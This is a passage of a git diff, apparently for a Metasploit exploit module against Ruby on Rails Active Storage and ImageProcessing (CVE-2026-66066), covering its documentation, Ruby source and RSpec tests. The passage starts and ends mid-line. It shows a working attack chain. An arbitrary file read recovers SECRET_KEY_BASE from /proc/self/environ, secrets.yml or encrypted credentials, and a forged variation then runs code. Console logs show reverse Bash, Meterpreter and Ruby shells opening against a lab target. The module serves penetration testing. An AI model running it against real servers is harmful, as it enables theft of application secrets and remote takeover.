`VARIATION_KEY` to a genuine signed key scraped from any rendered Active - Storage representation, or configure `LANDINGURI` / `REPRESENTATIONURI` so - the module can obtain one. +1. For the supplied lab, leave `VARIATION_KEY` and `REPRESENTATIONURI` unset; + the default `LANDINGURI /` and `SUBMITURI /posts` safe-form fallback obtains + a genuine signed variation key. For another application, supply a genuine + signed key or configure `LANDINGURI` / `REPRESENTATIONURI` appropriately. 1. Configure `LHOST` and any other options required by the default reverse Bash payload, select target 1 for the default Linux Meterpreter fetch payload, or select target 2 for a native Ruby payload whose initial execution does not @@ -349,7 +361,9 @@ configured listener. Uses a Linux fetch payload and stages it under `/tmp`. The default payload is `cmd/linux/http/x64/meterpreter/reverse_tcp`. The target must be x86-64 Linux, have a compatible HTTP fetch utility such as `curl` or `wget`, and permit writes -and execution in `FETCH_WRITABLE_DIR`. +and execution in `FETCH_WRITABLE_DIR`. This target defaults `FETCH_DELETE` to +`true`, so the fetch payload attempts to remove its staged executable after +launch. ### 2 (Ruby) @@ -452,8 +466,9 @@ Default: `auto`. The maximum number of recovered bytes retained from each procfs environment file. Recovery stops early once it finds a complete `SECRET_KEY_BASE` that -validates against the signed blob ID, or a syntactically valid -`RAILS_MASTER_KEY`. Default: `65536`. +validates against the signed blob ID. A recovered `RAILS_MASTER_KEY` does not +stop the read early because later entries can identify a custom Rails +environment or contain `SECRET_KEY_BASE`. Default: `65536`. ### CredentialsMaxBytes @@ -473,97 +488,147 @@ not remove database records or objects from the configured Active Storage service. Requests can appear in Rails, reverse-proxy, job, and object-storage logs. Environment bytes are stored locally as Metasploit loot. Successful command-target exploitation starts a child process with `Kernel#spawn`, and the -payload may make an outbound connection. +payload may make an outbound connection. Target 1 temporarily writes its fetch +payload to `FETCH_WRITABLE_DIR`; with the default `FETCH_DELETE true`, the fetch +adapter attempts to remove that executable after launch. The primary advisory is [GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm). ## Scenarios -### Rails 8.0.5 on Debian Bookworm, default Unix reverse shell +### Rails 8.0.5 on Debian Bookworm x86-64, default Unix reverse shell + +The following run used the Docker lab above. It includes an explicit check, +session proof, cleanup, and an immediate successful rerun. ``` -msf6 > use exploit/multi/http/rails_activestorage_vips_rce +msf > use exploit/multi/http/rails_activestorage_vips_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 +msf exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 RPORT => 3003 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 +msf exploit(multi/http/rails_activestorage_vips_rce) > set TARGETURI / +TARGETURI => / +msf exploit(multi/http/rails_activestorage_vips_rce) > set TARGET 0 +TARGET => 0 +msf exploit(multi/http/rails_activestorage_vips_rce) > set PAYLOAD cmd/unix/reverse_bash +PAYLOAD => cmd/unix/reverse_bash +msf exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > run +msf exploit(multi/http/rails_activestorage_vips_rce) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/rails_activestorage_vips_rce) > check +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] 127.0.0.1:3003 - The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[+] Selected the 20x20 sharpened text-read layout (180 bytes per request) -[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 256x256 raw layout [*] Reading up to 65536 bytes from /proc/self/environ [*] Detected SHA1 Active Support verifier signatures -[*] Detected the Active Support json message serializer -[*] Validated SHA256 key derivation against a signed blob ID -[*] Stored recovered environment bytes in: /home/user/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /tmp/kindarails2shell-msf/loot/20260806145416_default_127.0.0.1_rails.process.en_728945.bin [+] Recovered SECRET_KEY_BASE from /proc/self/environ [*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ -[*] Command shell session 1 opened +[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:37472) at 2026-08-06 14:54:22 +0100 +[*] Session 1 created in the background. -msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (127.0.0.1) uid=1000(rails) gid=1000(rails) groups=1000(rails) +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 1 +[*] Killing the following session(s): 1 +[*] Killing session 1 +[*] 127.0.0.1 - Command shell session 1 closed. +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +[*] Reading up to 65536 bytes from /proc/self/environ +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /tmp/kindarails2shell-msf/loot/20260806145542_default_127.0.0.1_rails.process.en_386574.bin +[+] Recovered SECRET_KEY_BASE from /proc/self/environ +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ +[*] Command shell session 2 opened (172.17.0.1:4444 -> 172.17.0.2:38718) at 2026-08-06 14:55:48 +0100 +[*] Session 2 created in the background. +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 2 -c id +[*] Running 'id' on shell session 2 (127.0.0.1) +uid=1000(rails) gid=1000(rails) groups=1000(rails) +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 2 +[*] Killing the following session(s): 2 +[*] Killing session 2 +[*] 127.0.0.1 - Command shell session 2 closed. ``` -### Rails 8.0.5 with the default Linux Meterpreter fetch payload +### Rails 8.0.5 on Debian Bookworm x86-64, default Linux Meterpreter fetch payload -``` -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set target 1 -target => 1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set SECRET_KEY_BASE rails-vips-lab-secret-key-base-0123456789abcdef -SECRET_KEY_BASE => rails-vips-lab-secret-key-base-0123456789abcdef -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set FETCH_SRVHOST 172.17.0.1 -FETCH_SRVHOST => 172.17.0.1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > run +Target 1 used `FETCH_DELETE true`, the filename +`msf-vips-fetch-cleanup-test`, `FETCH_WRITABLE_DIR /tmp`, and the default +`cmd/linux/http/x64/meterpreter/reverse_tcp` payload. The target-side file +check was performed after the fetch adapter's randomized deletion delay. +``` +msf exploit(multi/http/rails_activestorage_vips_rce) > check +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] 127.0.0.1:3003 - The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4445 [*] Running automatic check ("set AutoCheck false" to disable) -[*] Using operator-supplied SECRET_KEY_BASE +[+] Selected the 256x256 raw text-read layout (32512 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 256x256 raw layout +[*] Reading up to 65536 bytes from /proc/self/environ [*] Detected SHA1 Active Support verifier signatures -[*] Detected the Active Support json message serializer -[*] Validated SHA256 key derivation against a signed blob ID -[!] The service is running, but could not be validated. Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested -[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from operator-supplied SECRET_KEY_BASE -[*] Sending stage (3090404 bytes) to 172.17.0.2 -[*] Meterpreter session 1 opened - -msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -C getuid -[*] Running 'getuid' on meterpreter session 1 (127.0.0.1) +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /tmp/kindarails2shell-msf/loot/20260806145728_default_127.0.0.1_rails.process.en_405668.bin +[+] Recovered SECRET_KEY_BASE from /proc/self/environ +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ +[*] Sending stage (3106788 bytes) to 172.17.0.2 +[*] Meterpreter session 3 opened (172.17.0.1:4445 -> 172.17.0.2:41682) at 2026-08-06 14:57:28 +0100 +[*] Session 3 created in the background. +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 3 +[*] Starting interaction with 3... +meterpreter > getuid Server username: rails +meterpreter > ls /tmp/msf-vips-fetch-cleanup-test +[-] stdapi_fs_stat: Operation failed: 1 +meterpreter > background +[*] Backgrounding session 3... ``` -### Rails 8.0.5 with the native Ruby (eval) target +### Rails 8.0.5 on Debian Bookworm x86-64, native Ruby (eval) target -``` -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set target 2 -target => 2 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set PAYLOAD ruby/shell_reverse_tcp -PAYLOAD => ruby/shell_reverse_tcp -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set SECRET_KEY_BASE rails-vips-lab-secret-key-base-0123456789abcdef -SECRET_KEY_BASE => rails-vips-lab-secret-key-base-0123456789abcdef -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 -LHOST => 172.17.0.1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > run +This run started from a fresh module instance with `AutoCheck false`, target 2, +the `ruby/shell_reverse_tcp` payload, and the lab's documented +`SECRET_KEY_BASE`. -[*] Started reverse TCP handler on 172.17.0.1:4444 -[*] Running automatic check ("set AutoCheck false" to disable) +``` +msf exploit(multi/http/rails_activestorage_vips_rce) > run -z +[*] Started reverse TCP handler on 172.17.0.1:4446 +[!] AutoCheck is disabled, proceeding with exploitation [*] Using operator-supplied SECRET_KEY_BASE [*] Detected SHA1 Active Support verifier signatures -[*] Detected the Active Support json message serializer -[*] Validated SHA256 key derivation against a signed blob ID -[!] The service is running, but could not be validated. Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested +[*] Detected the Active Support marshal message serializer +[*] Validated SHA1 key derivation against a signed blob ID [*] Triggering the ImageProcessing send/eval variation using a verifier key derived from operator-supplied SECRET_KEY_BASE -[*] Forged variation returned HTTP 500 -[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.4:49152) - -msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -c id -[*] Running 'id' on shell session 1 (127.0.0.1) +[*] Command shell session 4 opened (172.17.0.1:4446 -> 172.17.0.2:40618) at 2026-08-06 15:01:49 +0100 +[*] Session 4 created in the background. +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 4 -c id +[*] Running 'id' on shell session 4 (127.0.0.1) uid=1000(rails) gid=1000(rails) groups=1000(rails) +msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 4 +[*] Killing the following session(s): 4 +[*] Killing session 4 +[*] 127.0.0.1 - Command shell session 4 closed. ``` -The HTTP 500 is expected: the `eval` operation returns a non-image value, so the -representation pipeline errors only after the Ruby payload has already run. +The representation request can return HTTP 500 because the `eval` operation +returns a non-image value after the Ruby payload has already run. diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index e4ea8e28bb79c..93793460f1778 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -225,6 +225,12 @@ def initialize(info = {}) one through an application upload form. Supplying SECRET_KEY_BASE skips file-based secret recovery and lets the module construct the standard representation route itself. + + The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1, + Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in + Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines the Rails Vips + transformation-validation gap with ImageProcessing 1.x method dispatch; + ImageProcessing 2.x blocks this chain. }, 'Author' => [ '0xacb', @@ -239,6 +245,8 @@ def initialize(info = {}) ['GHSA', 'xr9x-r78c-5hrm'], ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'], ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'], + ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'], + ['URL', 'https://github.com/rails/rails/pull/56995'], ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'], ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066'] ], @@ -266,7 +274,8 @@ def initialize(info = {}) 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', - 'FETCH_WRITABLE_DIR' => '/tmp' + 'FETCH_WRITABLE_DIR' => '/tmp', + 'FETCH_DELETE' => true } } ], @@ -334,21 +343,23 @@ def check secret_key_base = validate_secret_key_base(datastore['SECRET_KEY_BASE']) @known_secret_context = context_from_known_secret(secret_key_base) verify_known_secret_context(@known_secret_context) - report_active_storage_service + @active_storage_service = report_active_storage_service return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested') end @read_context = detect_read_context - report_active_storage_service - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - name: fullname, - info: 'Confirmed arbitrary file read through an Active Storage representation', - refs: references + @active_storage_service = report_active_storage_service + vuln = { + service: @active_storage_service, + info: 'Confirmed arbitrary file read through an Active Storage representation' + }.compact + CheckCode::Vulnerable( + "Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout", + vuln: vuln ) - CheckCode::Vulnerable("Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout") + rescue ConfigError => e + vprint_error("Check failed: #{e.message}") + CheckCode::Unsupported(e.message) rescue StandardError => e vprint_error("Check failed: #{e.message}") CheckCode::Unknown(e.message) @@ -366,10 +377,24 @@ def exploit end end else - @read_context ||= detect_read_context - context_from_recovered_secret(@read_context) + read_context = @read_context ||= detect_read_context + @active_storage_service = report_active_storage_service + unless @vulnerability_reported + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + service: @active_storage_service, + name: fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: references + ) + end + context_from_recovered_secret(read_context) end + @active_storage_service = report_active_storage_service + transformations = variation_transformations operation = transformations['send'].first print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}") @@ -383,15 +408,37 @@ def exploit fail_with(Failure::UnexpectedReply, e.message) end + def report_vuln(opts = {}) + service = opts[:service] || @active_storage_service || report_active_storage_service + opts = opts.merge(service: service) if service + result = super(opts) + @vulnerability_reported = true if result + result + end + private def report_active_storage_service - report_service( - host: rhost, - port: rport, - proto: 'tcp', - name: ssl ? 'https' : 'http', - info: 'Ruby on Rails Active Storage' + return @active_storage_service if @active_storage_service + + common = { host: rhost, port: rport, proto: 'tcp' } + tcp_service = common.merge(name: 'tcp', parents: nil) + web_service = if ssl + common.merge( + name: 'https', + parents: common.merge(name: 'ssl', parents: tcp_service) + ) + else + common.merge(name: 'http', parents: tcp_service) + end + + @active_storage_service = report_service( + common.merge( + name: 'rails', + info: 'Ruby on Rails Active Storage', + resource: { uri: normalize_uri(target_uri.path) }, + parents: web_service + ) ) end @@ -526,14 +573,14 @@ def read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil else restore_ascii_pixels(read, context[:layout], context[:mode]) end - combined << decoded + combined << decoded.byteslice(0, max_bytes - combined.bytesize) break if decoded.bytes.all?(&:zero?) break if stop_when&.call(combined) offset += context[:layout][:capacity] end - combined.byteslice(0, max_bytes).sub(/\x00+\z/n, '') + combined.sub(/\x00+\z/n, '') end def try_read_text_file(context, external_path, max_bytes:, filename:, stop_when: nil, allow_partial: false) @@ -783,7 +830,8 @@ def recover_secret_key_base(context) rhost, bytes, partial ? "#{::File.basename(path)}.partial.bin" : "#{::File.basename(path)}.bin", - partial ? "Partially recovered #{path}; uncertain bytes were replaced with NUL" : "Recovered #{path} bytes" + partial ? "Partially recovered #{path}; uncertain bytes were replaced with NUL" : "Recovered #{path} bytes", + @active_storage_service || report_active_storage_service ) print_status("Stored recovered environment bytes in: #{loot_path}") @@ -866,8 +914,7 @@ def recover_legacy_secrets(context, environments, master_keys) plaintext_path = '/proc/self/cwd/config/secrets.yml' bytes = try_read_text_file(context, plaintext_path, max_bytes: datastore['CredentialsMaxBytes'], filename: 'secrets.png') if bytes - secret = extract_secret_key_base_from_secrets_yaml(trim_external_bytes(bytes), environments) - if secret + secret_key_base_candidates_from_secrets_yaml(trim_external_bytes(bytes), environments).each do |secret| candidate = validated_secret_candidate(secret, plaintext_path, context[:representation][:signed_id]) return candidate if candidate end @@ -882,11 +929,10 @@ def recover_legacy_secrets(context, environments, master_keys) plaintext = decrypt_rails_credentials(encrypted, key) next unless plaintext - secret = extract_secret_key_base_from_secrets_yaml(unwrap_marshaled_string(plaintext), environments) - next unless secret - - candidate = validated_secret_candidate(secret, "#{encrypted_path} using #{key_source}", context[:representation][:signed_id]) - return candidate if candidate + secret_key_base_candidates_from_secrets_yaml(unwrap_marshaled_string(plaintext), environments).each do |secret| + candidate = validated_secret_candidate(secret, "#{encrypted_path} using #{key_source}", context[:representation][:signed_id]) + return candidate if candidate + end end nil end @@ -902,28 +948,30 @@ def legacy_secrets_keys(context, master_keys) keys.uniq(&:first) end - def extract_secret_key_base_from_secrets_yaml(yaml, environments) + def secret_key_base_candidates_from_secrets_yaml(yaml, environments) document = YAML.safe_load( yaml, permitted_classes: [], permitted_symbols: [], - aliases: false + aliases: true ) - return nil unless document.is_a?(Hash) + return [] unless document.is_a?(Hash) + + shared = document['shared'].is_a?(Hash) ? document['shared'] : {} + environments = ['development'] if environments.empty? + sections = environments.uniq.map do |environment| + environment_secrets = document[environment] + environment_secrets = {} unless environment_secrets.is_a?(Hash) + shared.merge(environment_secrets) + end - sections = ['shared', *environments].uniq - candidates = sections.filter_map { |section| document[section] if document[section].is_a?(Hash) } - candidates << document - candidates.each do |section| + sections << document + sections.filter_map do |section| secret = section['secret_key_base'] - next unless secret.is_a?(String) && secret.present? - next if secret.include?('<%') # unrendered ERB such as <%= ENV["SECRET_KEY_BASE"] %> - - return validate_secret_key_base(secret) - end - nil + secret if secret.is_a?(String) && secret.present? && !secret.include?('<%') + end.uniq rescue Psych::Exception - nil + [] end def environment_contains_complete_key?(bytes) @@ -944,7 +992,7 @@ def environment_contains_usable_key?(bytes, source, signed_id) end end - valid_master_key?(environment['RAILS_MASTER_KEY'].to_s.strip) + false end def parse_environment(bytes) @@ -1437,7 +1485,7 @@ def request_representation(path) uri = current.path.presence || '/' uri += "?#{current.query}" if current.query res = if !external && same_target_url?(current) - send_request_cgi(target_request('GET', uri), datastore['HttpClientTimeout'] || 20) + send_request_cgi(target_request('GET', uri)) else send_sanitized_request( 'method' => 'GET', @@ -1491,7 +1539,7 @@ def send_sanitized_request(options) kerberos_authenticator: false ) ) - client._send_recv(request, datastore['HttpClientTimeout'] || 20) + client._send_recv(request, sanitized_request_timeout) rescue ::EOFError, ::Errno::EPIPE, ::Errno::ETIMEDOUT, ::OpenSSL::SSL::SSLError, ::Timeout::Error, Rex::ConnectionError => e vprint_error("External request failed: #{e}") nil @@ -1506,6 +1554,11 @@ def validate_http_url!(parsed, label) raise FlowError, "#{label} contained credentials" if parsed.user || parsed.password end + def sanitized_request_timeout + configured_timeout = datastore['HttpClientTimeout'] + configured_timeout&.positive? ? configured_timeout : 20 + end + def same_target_url?(parsed) target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) target_hosts.include?(parsed.host.downcase) && parsed.port == rport && (parsed.scheme == 'https') == ssl @@ -1561,15 +1614,22 @@ def standard_representation_path(signed_id, variation, filename, route: :redirec end def representation_route_index(parts) - representations_index = parts.index('representations') - raise FlowError, 'Representation path did not contain /representations/' unless representations_index + representations_indexes = parts.each_index.select { |index| parts[index] == 'representations' } + raise FlowError, 'Representation path did not contain /representations/' if representations_indexes.empty? - route_index = if %w[redirect proxy].include?(parts[representations_index + 1]) + route_index = nil + representations_indexes.reverse_each do |representations_index| + candidate = if %w[redirect proxy].include?(parts[representations_index + 1]) representations_index + 1 else representations_index end - raise FlowError, 'Representation path was shorter than expected' if route_index + 3 >= parts.length + if candidate + 3 < parts.length + route_index = candidate + break + end + end + raise FlowError, 'Representation path was shorter than expected' unless route_index route_index end @@ -1592,13 +1652,15 @@ def request_uri(path_or_url) end def trigger_variation(path) + # The forged operation executes while Rails builds the transformation + # pipeline and normally ends in an HTTP 500 or a payload-held connection. res = send_request_cgi(target_request('GET', request_uri(path)), 10) unless res vprint_status('No HTTP response while triggering the forged variation') return end - if res.code.between?(400, 499) + if res.code.between?(300, 499) raise TriggerError, "Forged variation was rejected with HTTP #{res.code}" end diff --git a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb index e7fa1f2dc0315..e8f9e13d31374 100644 --- a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb +++ b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb @@ -171,6 +171,156 @@ def striped_pixels(layout, source) end end + describe '#report_active_storage_service' do + before do + exploit.datastore['RHOST'] = '192.0.2.10' + exploit.datastore['RPORT'] = 8080 + exploit.datastore['TARGETURI'] = '/application' + end + + it 'reports and memoizes the Rails application above HTTP and TCP' do + service = double('Rails service') + common = { host: '192.0.2.10', port: 8080, proto: 'tcp' } + expect(exploit).to receive(:report_service).once.with( + common.merge( + name: 'rails', + info: 'Ruby on Rails Active Storage', + resource: { uri: '/application' }, + parents: common.merge(name: 'http', parents: common.merge(name: 'tcp', parents: nil)) + ) + ).and_return(service) + + expect(exploit.send(:report_active_storage_service)).to be(service) + expect(exploit.send(:report_active_storage_service)).to be(service) + end + + it 'reports HTTPS above SSL and TCP' do + exploit.datastore['SSL'] = true + service = double('Rails TLS service') + common = { host: '192.0.2.10', port: 8080, proto: 'tcp' } + expect(exploit).to receive(:report_service).with( + common.merge( + name: 'rails', + info: 'Ruby on Rails Active Storage', + resource: { uri: '/application' }, + parents: common.merge( + name: 'https', + parents: common.merge(name: 'ssl', parents: common.merge(name: 'tcp', parents: nil)) + ) + ) + ).and_return(service) + + expect(exploit.send(:report_active_storage_service)).to be(service) + end + end + + describe 'target defaults' do + it 'removes the Linux fetch artifact after execution' do + expect(exploit.targets.fetch(1).default_options.fetch('FETCH_DELETE')).to be(true) + end + end + + describe '#check' do + it 'returns a linked Vulnerable result without directly reporting the vulnerability' do + service = double('Rails service') + context = { layout: read_layout, mode: :raw } + allow(exploit).to receive(:detect_read_context).and_return(context) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + expect(exploit).not_to receive(:report_vuln) + + result = exploit.check + + expect(result.code).to eq('vulnerable') + expect(result.reason).to include("#{read_layout.fetch(:dimension)}x#{read_layout.fetch(:dimension)} raw layout") + expect(result.vuln).to eq( + service: service, + info: 'Confirmed arbitrary file read through an Active Storage representation' + ) + end + + it 'returns Unsupported for invalid local configuration' do + exploit.datastore['REPRESENTATION_INDEX'] = -1 + + result = exploit.check + + expect(result.code).to eq('unsupported') + expect(result.reason).to eq('REPRESENTATION_INDEX must be non-negative') + end + + it 'returns Detected when the supplied secret validates without testing the file read' do + secret = 'known-secret' + context = { secret_key_base: secret } + service = double('Rails service') + exploit.datastore['SECRET_KEY_BASE'] = secret + allow(exploit).to receive(:validate_secret_key_base).with(secret).and_return(secret) + allow(exploit).to receive(:context_from_known_secret).with(secret).and_return(context) + allow(exploit).to receive(:verify_known_secret_context).with(context) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + + result = exploit.check + + expect(result.code).to eq('detected') + expect(result.reason).to include('arbitrary file read was not tested') + end + + it 'normalizes an unexpected remote failure to Unknown' do + allow(exploit).to receive(:detect_read_context).and_raise(trigger_error, 'unexpected target response') + + result = exploit.check + + expect(result.code).to eq('unknown') + expect(result.reason).to eq('unexpected target response') + end + end + + describe '#exploit' do + let(:execution_context) do + { + verifier_key: 'key', + verifier_digest: 'sha1', + message_serializer: :json, + verifier_source: 'a test verifier key' + } + end + + before do + allow(exploit).to receive(:variation_transformations).and_return('send' => ['spawn']) + allow(exploit).to receive(:forged_representation_path).and_return('/forged') + allow(exploit).to receive(:trigger_variation) + end + + it 'reports the confirmed file-read vulnerability when AutoCheck state is absent' do + service = double('Rails service') + context = { layout: read_layout, mode: :raw } + allow(exploit).to receive(:detect_read_context).and_return(context) + allow(exploit).to receive(:context_from_recovered_secret).with(context).and_return(execution_context) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + expect(exploit).to receive(:report_vuln).with( + host: exploit.rhost, + port: exploit.rport, + proto: 'tcp', + service: service, + name: exploit.fullname, + info: 'Confirmed arbitrary file read through an Active Storage representation', + refs: exploit.references + ) + + exploit.method(:exploit).super_method.call + end + + it 'reports only the application service in known-secret mode' do + secret = 'known-secret' + exploit.datastore['SECRET_KEY_BASE'] = secret + allow(exploit).to receive(:validate_secret_key_base).with(secret).and_return(secret) + allow(exploit).to receive(:context_from_known_secret).with(secret).and_return(execution_context) + allow(exploit).to receive(:verify_known_secret_context).with(execution_context) + expect(exploit).to receive(:report_active_storage_service).and_return(double('Rails service')) + expect(exploit).not_to receive(:report_vuln) + + exploit.method(:exploit).super_method.call + end + end + describe '#restore_ascii_pixels' do let(:source) do Array.new(read_layout.fetch(:capacity)) { |index| 32 + (index % 95) }.pack('C*') @@ -242,16 +392,28 @@ def striped_pixels(layout, source) context = { layout: read_layout, mode: :raw } first_read = { offset: 0 } second_read = { offset: capacity } + observed_sizes = [] expect(exploit).to receive(:file_read_once).ordered.with(read_layout, '/proc/version', 0, 'read.h5').and_return(first_read) expect(exploit).to receive(:restore_ascii_pixels).ordered.with(first_read, read_layout, :raw).and_return('A'.b * capacity) expect(exploit).to receive(:file_read_once).ordered.with(read_layout, '/proc/version', capacity, 'read.h5').and_return(second_read) expect(exploit).to receive(:restore_ascii_pixels).ordered.with(second_read, read_layout, :raw).and_return('B'.b * capacity) - recovered = exploit.send(:read_text_file, context, '/proc/version', max_bytes: capacity + 1, filename: 'read.h5') + recovered = exploit.send( + :read_text_file, + context, + '/proc/version', + max_bytes: capacity + 1, + filename: 'read.h5', + stop_when: lambda { |bytes| + observed_sizes << bytes.bytesize + false + } + ) expect(recovered).to eq(('A'.b * capacity) + 'B'.b) expect(recovered.bytesize).to eq(capacity + 1) + expect(observed_sizes).to eq([capacity, capacity + 1]) end end @@ -317,7 +479,7 @@ def striped_pixels(layout, source) it 'rejects invalid external paths and offsets' do oversized_path = 'A' * (placeholder.bytesize + 1) - expect { exploit.send(:patch_hdf5_template, read_layout, "bad\x00path", external_offset) }.to raise_error(flow_error) + expect { exploit.send(:patch_hdf5_template, read_layout, "/bad\x00path", external_offset) }.to raise_error(flow_error, /NUL/) expect { exploit.send(:patch_hdf5_template, read_layout, oversized_path, external_offset) }.to raise_error(flow_error) expect { exploit.send(:patch_hdf5_template, read_layout, external_path, -1) }.to raise_error(flow_error) end @@ -437,6 +599,26 @@ def striped_pixels(layout, source) expect(exploit.send(:environment_contains_complete_key?, embedded)).to be(false) expect(exploit.send(:environment_contains_complete_key?, anchored)).to be(true) end + + it 'does not stop at a master key before later environment entries are read' do + bytes = "RAILS_MASTER_KEY=#{'a' * 32}\x00RAILS_ENV=custom\x00".b + + expect(exploit.send(:environment_contains_usable_key?, bytes, '/proc/self/environ', 'signed-id')).to be(false) + end + + it 'stops only after SECRET_KEY_BASE validates against the signed blob ID' do + bytes = "SECRET_KEY_BASE=validated-secret\x00".b + validated = ['validated-secret', '/proc/self/environ', 'sha256', { encoded: 'token' }] + yielded = nil + allow(exploit).to receive(:validated_secret_candidate).and_return(validated) + + result = exploit.send(:environment_contains_usable_key?, bytes, '/proc/self/environ', 'signed-id') do |candidate| + yielded = candidate + end + + expect(result).to be(true) + expect(yielded).to eq(validated) + end end describe '#representation_paths' do @@ -470,6 +652,22 @@ def striped_pixels(layout, source) ) end + it 'uses the Active Storage route when the application base path also contains representations' do + path = '/representations/application/rails/active_storage/representations/redirect/old_blob/old_variation/image.png' + + expect(exploit.send(:substitute_representation_blob, path, 'new_blob', 'new.png')).to eq( + '/representations/application/rails/active_storage/representations/redirect/new_blob/old_variation/new.png' + ) + end + + it 'uses the Active Storage route when the representation filename is representations' do + path = '/rails/active_storage/representations/redirect/old_blob/old_variation/representations' + + expect(exploit.send(:substitute_variation_key, path, 'new_variation')).to eq( + '/rails/active_storage/representations/redirect/old_blob/new_variation/representations' + ) + end + it 'constructs both standard representation route layouts' do expect(exploit.send(:standard_representation_path, 'blob', 'variation', 'safe.png')).to 